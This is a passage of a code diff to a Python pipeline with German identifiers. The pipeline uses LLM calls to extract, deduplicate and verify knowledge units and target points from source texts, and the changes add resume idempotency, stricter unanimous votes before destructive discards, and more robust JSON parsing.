if any(a in KRITISCH or a == "section_fehlt" for a in arten) or kritisch_detail:
|
||||||
|
if "section_fehlt" in arten:
|
||||||
|
db.execute("UPDATE sections SET stage='writer' WHERE baustein_id=?", (b_id,))
|
||||||
else:
|
else:
|
||||||
# Detail mitgeben — „Behebe: vorwaerts“ ohne den Begriff ließ den Fix
|
# KRITISCH-Details in die Spalte schreiben, damit _stage_pruefer sie
|
||||||
# raten (aak: 371 kumulierte vorwaerts-Befunde über 10 Iterationen)
|
# sieht (der bestätigte Claim erreicht sonst weder Prüfer noch Fix)
|
||||||
auftraege = [f"Behebe ({x['art']}): {x['detail']}" for x in liste]
|
vorhanden = db.uj(db.one("SELECT befunde FROM sections WHERE baustein_id=?",
|
||||||
|
(b_id,))["befunde"])
|
||||||
|
neu = [f"KRITISCH ({x['art']}): {x['detail']}" for x in liste
|
||||||
|
if x["art"] in KRITISCH]
|
||||||
|
zusammen = list(dict.fromkeys(vorhanden + neu))
|
||||||
|
db.update("sections", "baustein_id", b_id, stage="pruefer",
|
||||||
|
befunde=db.j(zusammen))
|
||||||
|
else:
|
||||||
|
# bestehende Fix-Aufträge (fix_offen) behalten, Stil-Details anhängen
|
||||||
|
vorhanden = db.uj(db.one("SELECT befunde FROM sections WHERE baustein_id=?",
|
||||||
|
(b_id,))["befunde"])
|
||||||
|
neu = [f"Behebe ({x['art']}): {x['detail']}" for x in liste
|
||||||
|
if x["art"] != "fix_offen"]
|
||||||
|
auftraege = list(dict.fromkeys(vorhanden + neu))
|
||||||
db.update("sections", "baustein_id", b_id, stage="fix", befunde=db.j(auftraege))
|
db.update("sections", "baustein_id", b_id, stage="fix", befunde=db.j(auftraege))
|
||||||
db.update("bausteine", "id", b_id, status="repair")
|
db.update("bausteine", "id", b_id, status="repair")
|
||||||
if betroffen:
|
vorher = {b_id: _text_sig(b_id) for b_id in betroffen}
|
||||||
await bauen(ctx)
|
await bauen(ctx)
|
||||||
return bool(betroffen)
|
return any(vorher[b_id] != _text_sig(b_id) for b_id in betroffen)
|
||||||
|
|||||||
@@ -34,15 +34,15 @@ def aktive_atome(topic: str) -> list[dict]:
|
|||||||
# ── Extraktion ────────────────────────────────────────────────────────────────
|
# ── Extraktion ────────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
async def _extrahiere_quelle(ctx: llm.Kontext, quelle: dict, force: bool = False) -> None:
|
async def _extrahiere_quelle(ctx: llm.Kontext, quelle: dict, force: bool = False) -> None:
|
||||||
# Idempotenz-Guard: hat die Quelle schon verankerte Atome (z. B. nach Soll-Reset),
|
# Idempotenz-Guard über `atome_stand` (nicht „hat irgendein Anker-Atom"): dieser
|
||||||
# wird sie nicht erneut gelesen — sonst Doppel-Extraktion. force=True (Repair
|
# Merker wird erst NACH einem vollständigen Extraktions-Pass gesetzt. Bricht der
|
||||||
# quelle_unvollstaendig) liest trotzdem; Doppelte fängt der Anker-Dedup.
|
# Lauf mitten in der Extraktion ab (einige Reader haben schon eingefügt, Merker
|
||||||
schon = db.one(
|
# noch leer), liest der Resume die Quelle komplett neu — sonst gingen die Atome
|
||||||
"SELECT a.id FROM atome a JOIN anker k ON k.atom_id=a.id"
|
# der ungelesenen Abschnitte still verloren. Doppelte fängt der Anker-Overlap-Merge.
|
||||||
" WHERE a.topic=? AND k.quelle_id=? AND a.status NOT IN ('gemerged','verworfen')"
|
# force=True (Repair quelle_unvollstaendig) liest ohnehin neu.
|
||||||
" LIMIT 1", (ctx.topic, quelle["id"]))
|
stand = db.one("SELECT atome_stand FROM quellen WHERE id=?", (quelle["id"],))
|
||||||
if schon and not force:
|
if stand and stand["atome_stand"] and not force:
|
||||||
db.update("quellen", "id", quelle["id"], status="atome")
|
db.update("quellen", "id", quelle["id"], status=stand["atome_stand"])
|
||||||
return
|
return
|
||||||
text = korpus.quelltext(quelle)
|
text = korpus.quelltext(quelle)
|
||||||
# aufgaben-Quellen: das GEÜBTE Konzept destillieren, nie die Aufgabeninstanz
|
# aufgaben-Quellen: das GEÜBTE Konzept destillieren, nie die Aufgabeninstanz
|
||||||
@@ -61,8 +61,8 @@ async def _extrahiere_quelle(ctx: llm.Kontext, quelle: dict, force: bool = False
|
|||||||
# deterministisch — stumpfes Wiederholen hilft nie): Chunk halbieren.
|
# deterministisch — stumpfes Wiederholen hilft nie): Chunk halbieren.
|
||||||
if tiefe < 2 and len(chunk) > 2000:
|
if tiefe < 2 and len(chunk) > 2000:
|
||||||
mitte = len(chunk) // 2
|
mitte = len(chunk) // 2
|
||||||
await asyncio.gather(reader(offset, chunk[:mitte], r, tiefe + 1),
|
await llm.alle((reader(offset, chunk[:mitte], r, tiefe + 1),
|
||||||
reader(offset + mitte, chunk[mitte:], r, tiefe + 1))
|
reader(offset + mitte, chunk[mitte:], r, tiefe + 1)))
|
||||||
else:
|
else:
|
||||||
fehl.append(offset) # nicht still: Quelle bleibt unvollständig
|
fehl.append(offset) # nicht still: Quelle bleibt unvollständig
|
||||||
return
|
return
|
||||||
@@ -91,12 +91,14 @@ async def _extrahiere_quelle(ctx: llm.Kontext, quelle: dict, force: bool = False
|
|||||||
start=-1, ende=-1, zitat=zitat)
|
start=-1, ende=-1, zitat=zitat)
|
||||||
|
|
||||||
stuecke = textkit.abschnitte(text)
|
stuecke = textkit.abschnitte(text)
|
||||||
await asyncio.gather(*(reader(off, chunk, r)
|
await llm.alle(reader(off, chunk, r)
|
||||||
for off, chunk in stuecke
|
for off, chunk in stuecke
|
||||||
for r in range(READER_JE_ABSCHNITT)))
|
for r in range(READER_JE_ABSCHNITT))
|
||||||
if fehl: # stiller Chunk-Verlust hieß bisher trotzdem „atome" (Lernen: 41 Calls leer)
|
if fehl: # stiller Chunk-Verlust hieß bisher trotzdem „atome" (Lernen: 41 Calls leer)
|
||||||
log.warning("Quelle %s: %d Abschnitt(e) ohne Extraktion", quelle["id"], len(fehl))
|
log.warning("Quelle %s: %d Abschnitt(e) ohne Extraktion", quelle["id"], len(fehl))
|
||||||
db.update("quellen", "id", quelle["id"], status="teilweise" if fehl else "atome")
|
endstand = "teilweise" if fehl else "atome"
|
||||||
|
# Merker erst JETZT setzen (nach vollständigem Pass) — er ist das Resume-Gate
|
||||||
|
db.update("quellen", "id", quelle["id"], status=endstand, atome_stand=endstand)
|
||||||
|
|
||||||
|
|
||||||
# ── Dedup ─────────────────────────────────────────────────────────────────────
|
# ── Dedup ─────────────────────────────────────────────────────────────────────
|
||||||
@@ -161,6 +163,9 @@ def _anker_dedup(topic: str) -> None:
|
|||||||
if passt:
|
if passt:
|
||||||
gew, ver = (a_id, b_id) if len(je_def[a_id]) >= len(je_def[b_id]) else (b_id, a_id)
|
gew, ver = (a_id, b_id) if len(je_def[a_id]) >= len(je_def[b_id]) else (b_id, a_id)
|
||||||
_merge(topic, gew, ver)
|
_merge(topic, gew, ver)
|
||||||
|
# Verlierer-Anker in-memory erben, sonst übersteht eine transitive
|
||||||
|
# Dublette (C überlappt nur mit B, B ging in A) diesen Pass.
|
||||||
|
anker[gew].extend(anker[ver])
|
||||||
|
|
||||||
|
|
||||||
def _geprueft(a: int, b: int) -> bool:
|
def _geprueft(a: int, b: int) -> bool:
|
||||||
@@ -233,7 +238,7 @@ async def _judge_dedup(ctx: llm.Kontext) -> None:
|
|||||||
" VALUES(?,?,?,'verwandt','nein')", (topic, lo, hi))
|
" VALUES(?,?,?,'verwandt','nein')", (topic, lo, hi))
|
||||||
|
|
||||||
chunks = [offen[i:i + PAAR_CHUNK] for i in range(0, len(offen), PAAR_CHUNK)]
|
chunks = [offen[i:i + PAAR_CHUNK] for i in range(0, len(offen), PAAR_CHUNK)]
|
||||||
await asyncio.gather(*(chunk_urteil(c) for c in chunks))
|
await llm.alle(chunk_urteil(c) for c in chunks)
|
||||||
|
|
||||||
|
|
||||||
def _erster_anker(atom_id: int) -> str:
|
def _erster_anker(atom_id: int) -> str:
|
||||||
@@ -283,13 +288,13 @@ async def _soll_zuordnen(ctx: llm.Kontext, nur_offene: bool = True) -> None:
|
|||||||
db.update("atome", "id", a["id"], soll_id=sid)
|
db.update("atome", "id", a["id"], soll_id=sid)
|
||||||
|
|
||||||
chunks = [atome[i:i + ZIELE_CHUNK_ATOME] for i in range(0, len(atome), ZIELE_CHUNK_ATOME)]
|
chunks = [atome[i:i + ZIELE_CHUNK_ATOME] for i in range(0, len(atome), ZIELE_CHUNK_ATOME)]
|
||||||
await asyncio.gather(*(chunk_zuordnen(c) for c in chunks))
|
await llm.alle(chunk_zuordnen(c) for c in chunks)
|
||||||
|
|
||||||
|
|
||||||
async def bauen(ctx: llm.Kontext) -> None:
|
async def bauen(ctx: llm.Kontext) -> None:
|
||||||
ctx.ebene = EBENE
|
ctx.ebene = EBENE
|
||||||
offene = db.query("SELECT * FROM quellen WHERE topic=? AND status='extrahiert'", (ctx.topic,))
|
offene = db.query("SELECT * FROM quellen WHERE topic=? AND status='extrahiert'", (ctx.topic,))
|
||||||
await asyncio.gather(*(_extrahiere_quelle(ctx, q) for q in offene))
|
await llm.alle(_extrahiere_quelle(ctx, q) for q in offene)
|
||||||
_anker_dedup(ctx.topic)
|
_anker_dedup(ctx.topic)
|
||||||
await _judge_dedup(ctx)
|
await _judge_dedup(ctx)
|
||||||
_kanten_aufloesen(ctx.topic)
|
_kanten_aufloesen(ctx.topic)
|
||||||
@@ -351,8 +356,19 @@ async def reparieren(ctx: llm.Kontext, befunde: list[dict]) -> bool:
|
|||||||
if b["art"] == "quelle_unvollstaendig":
|
if b["art"] == "quelle_unvollstaendig":
|
||||||
q = db.one("SELECT * FROM quellen WHERE id=?", (item,))
|
q = db.one("SELECT * FROM quellen WHERE id=?", (item,))
|
||||||
if q:
|
if q:
|
||||||
|
vorher = db.one(
|
||||||
|
"SELECT COUNT(*) AS n FROM anker k JOIN atome a ON a.id=k.atom_id"
|
||||||
|
" WHERE a.topic=? AND k.quelle_id=? AND a.status NOT IN"
|
||||||
|
" ('gemerged','verworfen')", (ctx.topic, q["id"]))["n"]
|
||||||
await _extrahiere_quelle(ctx, q, force=True)
|
await _extrahiere_quelle(ctx, q, force=True)
|
||||||
return True
|
nachher = db.one(
|
||||||
|
"SELECT COUNT(*) AS n FROM anker k JOIN atome a ON a.id=k.atom_id"
|
||||||
|
" WHERE a.topic=? AND k.quelle_id=? AND a.status NOT IN"
|
||||||
|
" ('gemerged','verworfen')", (ctx.topic, q["id"]))["n"]
|
||||||
|
# ehrliches bewegt: blieb die Quelle 'teilweise' ohne neue Anker,
|
||||||
|
# erkennt auto_loop Stillstand statt 10 Token-Runden zu drehen
|
||||||
|
nq = db.one("SELECT status FROM quellen WHERE id=?", (q["id"],))
|
||||||
|
return nq["status"] == "atome" or nachher > vorher
|
||||||
return False
|
return False
|
||||||
|
|
||||||
# Anker-Fixes gebündelt (Batch je Quelle statt Atom×Quelle — war 83 % der
|
# Anker-Fixes gebündelt (Batch je Quelle statt Atom×Quelle — war 83 % der
|
||||||
@@ -411,6 +427,8 @@ async def _anker_fixen_batch(ctx: llm.Kontext, atom_ids: list[int]) -> bool:
|
|||||||
offen[atom_id] = a
|
offen[atom_id] = a
|
||||||
quellen = db.query("SELECT * FROM quellen WHERE topic=?", (ctx.topic,))
|
quellen = db.query("SELECT * FROM quellen WHERE topic=?", (ctx.topic,))
|
||||||
texte = {q["id"]: korpus.quelltext(q) for q in quellen}
|
texte = {q["id"]: korpus.quelltext(q) for q in quellen}
|
||||||
|
start_ids = set(offen)
|
||||||
|
ausgefallen: set[int] = set() # Atome, deren zuständiger Call ausfiel (None)
|
||||||
|
|
||||||
for atom_id in list(offen):
|
for atom_id in list(offen):
|
||||||
for roh in db.query("SELECT * FROM anker WHERE atom_id=? AND start<0", (atom_id,)):
|
for roh in db.query("SELECT * FROM anker WHERE atom_id=? AND start<0", (atom_id,)):
|
||||||
@@ -432,6 +450,9 @@ async def _anker_fixen_batch(ctx: llm.Kontext, atom_ids: list[int]) -> bool:
|
|||||||
schritt="fix", role="judge", n=len(ids),
|
schritt="fix", role="judge", n=len(ids),
|
||||||
item=f"q{q['id']}-o{offset}",
|
item=f"q{q['id']}-o{offset}",
|
||||||
werte={"atome": liste, "text": chunk_text}, erwartet=list)
|
werte={"atome": liste, "text": chunk_text}, erwartet=list)
|
||||||
|
if res is None: # Call-Ausfall ≠ „keine Quellstelle" → nicht verwerfen
|
||||||
|
ausgefallen.update(i for i in ids if i in offen)
|
||||||
|
return
|
||||||
for e in res or []:
|
for e in res or []:
|
||||||
atom_id = e.get("atom")
|
atom_id = e.get("atom")
|
||||||
zitat = str(e.get("zitat", "")).strip()
|
zitat = str(e.get("zitat", "")).strip()
|
||||||
@@ -453,9 +474,13 @@ async def _anker_fixen_batch(ctx: llm.Kontext, atom_ids: list[int]) -> bool:
|
|||||||
break
|
break
|
||||||
await llm.alle(abschnitt_call(q, offset, chunk_text, ids[i:i + ANKER_FIX_CHUNK])
|
await llm.alle(abschnitt_call(q, offset, chunk_text, ids[i:i + ANKER_FIX_CHUNK])
|
||||||
for i in range(0, len(ids), ANKER_FIX_CHUNK))
|
for i in range(0, len(ids), ANKER_FIX_CHUNK))
|
||||||
for atom_id in offen:
|
# Verwerfen nur, wo ALLE zuständigen Calls liefen (kein Ausfall) und keiner
|
||||||
|
# eine Quellstelle fand. Ausgefallene bleiben ohne_anker → nächste Runde erneut.
|
||||||
|
verworfen = [i for i in offen if i not in ausgefallen]
|
||||||
|
for atom_id in verworfen:
|
||||||
db.update("atome", "id", atom_id, status="verworfen")
|
db.update("atome", "id", atom_id, status="verworfen")
|
||||||
return bool(atom_ids)
|
verankert = start_ids - set(offen)
|
||||||
|
return bool(verankert or verworfen) # ehrliches „bewegt" (kein Ausfall-Dauerschleifen)
|
||||||
|
|
||||||
|
|
||||||
async def _soll_stichentscheid(ctx: llm.Kontext, atom_id: int) -> bool:
|
async def _soll_stichentscheid(ctx: llm.Kontext, atom_id: int) -> bool:
|
||||||
@@ -471,14 +496,16 @@ async def _soll_stichentscheid(ctx: llm.Kontext, atom_id: int) -> bool:
|
|||||||
werte={"titel": a["titel"], "definition": a["definition"],
|
werte={"titel": a["titel"], "definition": a["definition"],
|
||||||
"beleg": _erster_anker(atom_id), "soll": soll_liste},
|
"beleg": _erster_anker(atom_id), "soll": soll_liste},
|
||||||
erwartet=dict)
|
erwartet=dict)
|
||||||
urteile = [s.get("soll", "fremd") for s in stimmen]
|
# Verwerfen ist destruktiv → nur bei vollzähligem „fremd"-Panel. Eine Stimme
|
||||||
if urteile and all(u == "fremd" for u in urteile):
|
# ohne soll-Feld ist KEIN fremd-Votum (zählte bisher fälschlich mit).
|
||||||
|
if llm.einstimmig(stimmen, 2, lambda s: (s.get("soll") == "fremd")
|
||||||
|
if "soll" in s else None):
|
||||||
db.update("atome", "id", atom_id, status="verworfen")
|
db.update("atome", "id", atom_id, status="verworfen")
|
||||||
return True
|
return True
|
||||||
gueltig = {p["id"] for p in punkte}
|
gueltig = {p["id"] for p in punkte}
|
||||||
for u in urteile:
|
for s in stimmen: # Zuordnung ist nicht destruktiv → Mehrheit/erste gültige reicht
|
||||||
if u in gueltig:
|
if s.get("soll") in gueltig:
|
||||||
db.update("atome", "id", atom_id, soll_id=u)
|
db.update("atome", "id", atom_id, soll_id=s["soll"])
|
||||||
return True
|
return True
|
||||||
return False
|
return False
|
||||||
|
|
||||||
@@ -490,16 +517,24 @@ async def _luecke_schliessen(ctx: llm.Kontext, soll_id: int) -> bool:
|
|||||||
p = db.one("SELECT * FROM soll WHERE id=?", (soll_id,))
|
p = db.one("SELECT * FROM soll WHERE id=?", (soll_id,))
|
||||||
if not p or p["status"] != "bestaetigt":
|
if not p or p["status"] != "bestaetigt":
|
||||||
return False
|
return False
|
||||||
runden = db.one( # bisherige Nachextraktions-Versuche: aus dem Ledger, topic-weit
|
# bisherige ECHTE Nachextraktions-Runden: nur erfolgreiche Calls (status='ok';
|
||||||
|
# Parse-/Infra-Retries schreiben eigene Zeilen) und nur seit dem letzten
|
||||||
|
# Inventar-Reset (Alt-Läufe zählten sonst mit → zu früher Freispruch).
|
||||||
|
resets = db.uj(db.one("SELECT resets FROM topics WHERE name=?", (ctx.topic,))["resets"], {})
|
||||||
|
seit = resets.get("inventar", 0)
|
||||||
|
runden = db.one(
|
||||||
"SELECT COUNT(*) AS n FROM events e JOIN runs r ON e.run_id=r.id"
|
"SELECT COUNT(*) AS n FROM events e JOIN runs r ON e.run_id=r.id"
|
||||||
" WHERE r.topic=? AND e.stage='luecke' AND e.item=?", (ctx.topic, f"s{soll_id}"))["n"]
|
" WHERE r.topic=? AND e.stage='luecke' AND e.item=? AND e.status='ok' AND e.id>?",
|
||||||
|
(ctx.topic, f"s{soll_id}", seit))["n"]
|
||||||
if runden >= LUECKEN_RUNDEN_MAX:
|
if runden >= LUECKEN_RUNDEN_MAX:
|
||||||
atome = aktive_atome(ctx.topic)
|
atome = aktive_atome(ctx.topic)
|
||||||
liste = "\n".join(f"- {a['titel']}: {a['definition']}" for a in atome[:200])
|
liste = "\n".join(f"- {a['titel']}: {a['definition']}" for a in atome[:200])
|
||||||
stimmen = await llm.panel(ctx, 2, stage="luecke_stich", template="Soll-Abgedeckt",
|
stimmen = await llm.panel(ctx, 2, stage="luecke_stich", template="Soll-Abgedeckt",
|
||||||
schritt="soll_zuordnung", role="judge", item=f"s{soll_id}",
|
schritt="soll_zuordnung", role="judge", item=f"s{soll_id}",
|
||||||
werte={"punkt": p["punkt"], "atome": liste}, erwartet=dict)
|
werte={"punkt": p["punkt"], "atome": liste}, erwartet=dict)
|
||||||
if stimmen and all(bool(s.get("abgedeckt")) for s in stimmen):
|
# Freispruch ist destruktiv fürs Soll → nur bei vollzähligem Panel
|
||||||
|
if llm.einstimmig(stimmen, 2, lambda s: bool(s.get("abgedeckt"))
|
||||||
|
if "abgedeckt" in s else None):
|
||||||
db.update("soll", "id", soll_id, status="abgedeckt")
|
db.update("soll", "id", soll_id, status="abgedeckt")
|
||||||
return True
|
return True
|
||||||
return False
|
return False
|
||||||
|
|||||||
@@ -8,14 +8,25 @@ _FENCE = re.compile(r"```(?:json)?\s*(.*?)```", re.DOTALL)
|
|||||||
|
|
||||||
|
|
||||||
def parse(text: str):
|
def parse(text: str):
|
||||||
"""→ Objekt oder None. Nie werfen — der Aufrufer entscheidet über Retry."""
|
"""→ Objekt oder None. Nie werfen — der Aufrufer entscheidet über Retry.
|
||||||
|
Jeden Code-Fence UND den Gesamttext durchprobieren; erster Treffer gewinnt.
|
||||||
|
(Nur den ersten Fence zu nehmen verlor JSON, das nach einem Prosa-Beispiel-
|
||||||
|
Fence stand.)"""
|
||||||
|
if not text:
|
||||||
|
return None
|
||||||
|
for kandidat in [m.group(1) for m in _FENCE.finditer(text)] + [text]:
|
||||||
|
daten = _ein_kandidat(kandidat.strip())
|
||||||
|
if daten is not None:
|
||||||
|
return daten
|
||||||
|
return None
|
||||||
|
|
||||||
|
|
||||||
|
def _ein_kandidat(text: str):
|
||||||
|
"""Erstes vollständiges JSON-Objekt/-Array in `text` (Klammer-Balance) oder
|
||||||
|
None. Das FRÜHESTE Klammerzeichen entscheidet — sonst gewinnt ein {…} im
|
||||||
|
Array-Inneren."""
|
||||||
if not text:
|
if not text:
|
||||||
return None
|
return None
|
||||||
m = _FENCE.search(text)
|
|
||||||
if m:
|
|
||||||
text = m.group(1)
|
|
||||||
text = text.strip()
|
|
||||||
# Das FRÜHESTE Klammerzeichen entscheidet: sonst gewinnt ein {…} im Array-Inneren.
|
|
||||||
erste = sorted((("{", "}"), ("[", "]")),
|
erste = sorted((("{", "}"), ("[", "]")),
|
||||||
key=lambda p: text.find(p[0]) if p[0] in text else len(text))
|
key=lambda p: text.find(p[0]) if p[0] in text else len(text))
|
||||||
for start_ch, end_ch in erste:
|
for start_ch, end_ch in erste:
|
||||||
|
|||||||
@@ -129,7 +129,7 @@ async def _recherche_runde(ctx: llm.Kontext, runde: int) -> int:
|
|||||||
erwartet=list)
|
erwartet=list)
|
||||||
return res or []
|
return res or []
|
||||||
|
|
||||||
ergebnisse = await asyncio.gather(*(eine(lens) for lens in RECHERCHE_LENSES))
|
ergebnisse = await llm.alle(eine(lens) for lens in RECHERCHE_LENSES)
|
||||||
neu = 0
|
neu = 0
|
||||||
for lens, quellen in zip(RECHERCHE_LENSES, ergebnisse):
|
for lens, quellen in zip(RECHERCHE_LENSES, ergebnisse):
|
||||||
for q in quellen:
|
for q in quellen:
|
||||||
@@ -159,6 +159,15 @@ async def _soll_extrahieren(ctx: llm.Kontext) -> None:
|
|||||||
offene = db.query("SELECT * FROM quellen WHERE topic=? AND status='neu'", (ctx.topic,))
|
offene = db.query("SELECT * FROM quellen WHERE topic=? AND status='neu'", (ctx.topic,))
|
||||||
|
|
||||||
async def eine(q: dict) -> None:
|
async def eine(q: dict) -> None:
|
||||||
|
# Resume-Idempotenz: Kandidaten eines abgebrochenen Passes dieser Quelle
|
||||||
|
# zuerst entfernen (Status='neu' ⇒ Konsens lief noch nicht ⇒ diese
|
||||||
|
# Kandidaten stammen nur aus dem unterbrochenen Lauf) — sonst blähen
|
||||||
|
# Doppel-Kandidaten das √n-Konsensband auf.
|
||||||
|
for r in db.query("SELECT id, belege FROM soll WHERE topic=? AND status='kandidat'",
|
||||||
|
(ctx.topic,)):
|
||||||
|
belege = db.uj(r["belege"])
|
||||||
|
if belege and belege[0].get("quelle") == q["id"]:
|
||||||
|
db.execute("DELETE FROM soll WHERE id=?", (r["id"],))
|
||||||
text = quelltext(q)
|
text = quelltext(q)
|
||||||
for i, (_, chunk) in enumerate(textkit.abschnitte(text, SOLL_CHUNK_CHARS)):
|
for i, (_, chunk) in enumerate(textkit.abschnitte(text, SOLL_CHUNK_CHARS)):
|
||||||
res = await llm.call(ctx, stage="soll", template="Korpus-Soll",
|
res = await llm.call(ctx, stage="soll", template="Korpus-Soll",
|
||||||
@@ -173,7 +182,7 @@ async def _soll_extrahieren(ctx: llm.Kontext) -> None:
|
|||||||
belege=db.j([{"quelle": q["id"], "zitat": zitat}]))
|
belege=db.j([{"quelle": q["id"], "zitat": zitat}]))
|
||||||
db.update("quellen", "id", q["id"], status="extrahiert")
|
db.update("quellen", "id", q["id"], status="extrahiert")
|
||||||
|
|
||||||
await asyncio.gather(*(eine(q) for q in offene))
|
await llm.alle(eine(q) for q in offene)
|
||||||
|
|
||||||
|
|
||||||
def _min_belege(topic: str) -> int:
|
def _min_belege(topic: str) -> int:
|
||||||
@@ -267,11 +276,37 @@ async def _konsens(ctx: llm.Kontext) -> int:
|
|||||||
belege = [b for i in p["ids"] for b in db.uj(je_id[i]["belege"])]
|
belege = [b for i in p["ids"] for b in db.uj(je_id[i]["belege"])]
|
||||||
if len({b["quelle"] for b in belege}) >= min_belege:
|
if len({b["quelle"] for b in belege}) >= min_belege:
|
||||||
bestaetigt.append((p, belege))
|
bestaetigt.append((p, belege))
|
||||||
for r in db.query("SELECT id FROM soll WHERE topic=? AND status='bestaetigt'", (ctx.topic,)):
|
# Bestehende bestätigte Zeilen NICHT löschen und neu bauen (das warf die von
|
||||||
db.execute("DELETE FROM soll WHERE id=?", (r["id"],)) # idempotent: neu aufbauen
|
# _belege_nachsuchen ergänzten Belege + den geprueft-Cache weg und churnte die
|
||||||
|
# soll.id). Stattdessen abgleichen: Match über punkt-Kern, sonst über einen
|
||||||
|
# gemeinsamen (quelle,zitat)-Beleg. Treffer → Belege-Union, geprueft bleibt.
|
||||||
|
alt = db.query("SELECT * FROM soll WHERE topic=? AND status='bestaetigt'", (ctx.topic,))
|
||||||
|
alt_kern: dict[str, dict] = {}
|
||||||
|
alt_beleg: dict[tuple, dict] = {}
|
||||||
|
for r in alt:
|
||||||
|
alt_kern.setdefault(r["punkt"].casefold(), r)
|
||||||
|
for b in db.uj(r["belege"]):
|
||||||
|
alt_beleg.setdefault((b["quelle"], b["zitat"]), r)
|
||||||
|
behalten: set[int] = set()
|
||||||
for p, belege in bestaetigt:
|
for p, belege in bestaetigt:
|
||||||
db.insert("soll", topic=ctx.topic, punkt=p["punkt"], status="bestaetigt",
|
treffer = alt_kern.get(p["punkt"].casefold())
|
||||||
belege=db.j(belege))
|
if treffer is None:
|
||||||
|
for b in belege:
|
||||||
|
if (treffer := alt_beleg.get((b["quelle"], b["zitat"]))):
|
||||||
|
break
|
||||||
|
if treffer is not None:
|
||||||
|
vorhanden = db.uj(treffer["belege"])
|
||||||
|
gesehen = {(b["quelle"], b["zitat"]) for b in vorhanden}
|
||||||
|
vereint = vorhanden + [b for b in belege
|
||||||
|
if (b["quelle"], b["zitat"]) not in gesehen]
|
||||||
|
db.update("soll", "id", treffer["id"], punkt=p["punkt"], belege=db.j(vereint))
|
||||||
|
behalten.add(treffer["id"])
|
||||||
|
else:
|
||||||
|
behalten.add(db.insert("soll", topic=ctx.topic, punkt=p["punkt"],
|
||||||
|
status="bestaetigt", belege=db.j(belege)))
|
||||||
|
for r in alt: # verwaiste bestätigte Zeilen (kein Konsens mehr) entfernen
|
||||||
|
if r["id"] not in behalten:
|
||||||
|
db.execute("DELETE FROM soll WHERE id=?", (r["id"],))
|
||||||
ok_ids = {i for p, _ in bestaetigt for i in p["ids"]}
|
ok_ids = {i for p, _ in bestaetigt for i in p["ids"]}
|
||||||
for i, k in je_id.items(): # Buchführung: kein Kandidat verschwindet still
|
for i, k in je_id.items(): # Buchführung: kein Kandidat verschwindet still
|
||||||
status = ("abgelehnt" if i in abgelehnt else
|
status = ("abgelehnt" if i in abgelehnt else
|
||||||
@@ -310,7 +345,12 @@ async def bauen(ctx: llm.Kontext) -> None:
|
|||||||
if jetzt <= vorher >= 0: # Sättigung: Runde ohne neuen bestätigten Punkt
|
if jetzt <= vorher >= 0: # Sättigung: Runde ohne neuen bestätigten Punkt
|
||||||
break
|
break
|
||||||
vorher = jetzt
|
vorher = jetzt
|
||||||
db.update("topics", "name", ctx.topic, status="korpus_fertig") # Auto-Freeze
|
# Auto-Freeze nur bei ≥1 bestätigtem Punkt — sonst bleibt Status 'korpus', der
|
||||||
|
# QA-Loop läuft an (soll_leer) und das Gate stoppt den Lauf fail-closed, statt
|
||||||
|
# E1 mit leerem Soll zu starten (dort würde jedes Atom kaskadenartig verworfen).
|
||||||
|
if db.one("SELECT COUNT(*) AS n FROM soll WHERE topic=? AND status='bestaetigt'",
|
||||||
|
(ctx.topic,))["n"]:
|
||||||
|
db.update("topics", "name", ctx.topic, status="korpus_fertig")
|
||||||
|
|
||||||
|
|
||||||
# ── QA + Repair ───────────────────────────────────────────────────────────────
|
# ── QA + Repair ───────────────────────────────────────────────────────────────
|
||||||
@@ -361,22 +401,31 @@ async def _belege_nachsuchen(ctx: llm.Kontext, soll_ids: list[int]) -> bool:
|
|||||||
if not faellig:
|
if not faellig:
|
||||||
return
|
return
|
||||||
text = quelltext(q)
|
text = quelltext(q)
|
||||||
liste = "\n".join(f"{p['id']}: {p['punkt']}" for p in faellig)
|
offen_ids = {p["id"] for p in faellig}
|
||||||
res = await llm.call(ctx, stage="soll_beleg", template="Korpus-Soll-Beleg",
|
|
||||||
schritt="soll", role="judge", item=f"q{q['id']}",
|
|
||||||
n=len(faellig),
|
|
||||||
werte={"punkte": liste, "text": text[:SOLL_CHUNK_CHARS]},
|
|
||||||
erwartet=list)
|
|
||||||
if res is None:
|
|
||||||
return # Ausfall: nicht als „geprüft" verbuchen
|
|
||||||
gefunden: dict[int, str] = {}
|
gefunden: dict[int, str] = {}
|
||||||
|
ausfall = False # ein Fenster-Ausfall → Quelle nicht vollständig geprüft
|
||||||
|
# ALLE Fenster durchsuchen (nicht nur die ersten 40k) — sonst nagelt der
|
||||||
|
# geprueft-Cache Belege hinter dem ersten Fenster dauerhaft fest.
|
||||||
|
for fi, (_, chunk) in enumerate(textkit.abschnitte(text, SOLL_CHUNK_CHARS)):
|
||||||
|
rest = [p for p in faellig if p["id"] in offen_ids]
|
||||||
|
if not rest:
|
||||||
|
break
|
||||||
|
liste = "\n".join(f"{p['id']}: {p['punkt']}" for p in rest)
|
||||||
|
res = await llm.call(ctx, stage="soll_beleg", template="Korpus-Soll-Beleg",
|
||||||
|
schritt="soll", role="judge", item=f"q{q['id']}-{fi}",
|
||||||
|
n=len(rest),
|
||||||
|
werte={"punkte": liste, "text": chunk}, erwartet=list)
|
||||||
|
if res is None:
|
||||||
|
ausfall = True
|
||||||
|
continue
|
||||||
for e in res:
|
for e in res:
|
||||||
if not isinstance(e, dict):
|
if not isinstance(e, dict):
|
||||||
continue
|
continue
|
||||||
zitat = str(e.get("zitat", "")).strip()
|
zitat = str(e.get("zitat", "")).strip()
|
||||||
if zitat and e.get("soll") in {p["id"] for p in faellig} \
|
if zitat and e.get("soll") in offen_ids \
|
||||||
and textkit.finde_zitat(text, zitat) is not None:
|
and textkit.finde_zitat(chunk, zitat) is not None:
|
||||||
gefunden[e["soll"]] = zitat
|
gefunden[e["soll"]] = zitat
|
||||||
|
offen_ids.discard(e["soll"])
|
||||||
for p in faellig:
|
for p in faellig:
|
||||||
frisch = db.one("SELECT * FROM soll WHERE id=?", (p["id"],))
|
frisch = db.one("SELECT * FROM soll WHERE id=?", (p["id"],))
|
||||||
if p["id"] in gefunden:
|
if p["id"] in gefunden:
|
||||||
@@ -384,7 +433,7 @@ async def _belege_nachsuchen(ctx: llm.Kontext, soll_ids: list[int]) -> bool:
|
|||||||
"zitat": gefunden[p["id"]]}]
|
"zitat": gefunden[p["id"]]}]
|
||||||
db.update("soll", "id", p["id"], belege=db.j(belege))
|
db.update("soll", "id", p["id"], belege=db.j(belege))
|
||||||
bewegt = True
|
bewegt = True
|
||||||
else:
|
elif not ausfall: # nur eine lückenlos durchsuchte Quelle gilt als geprüft
|
||||||
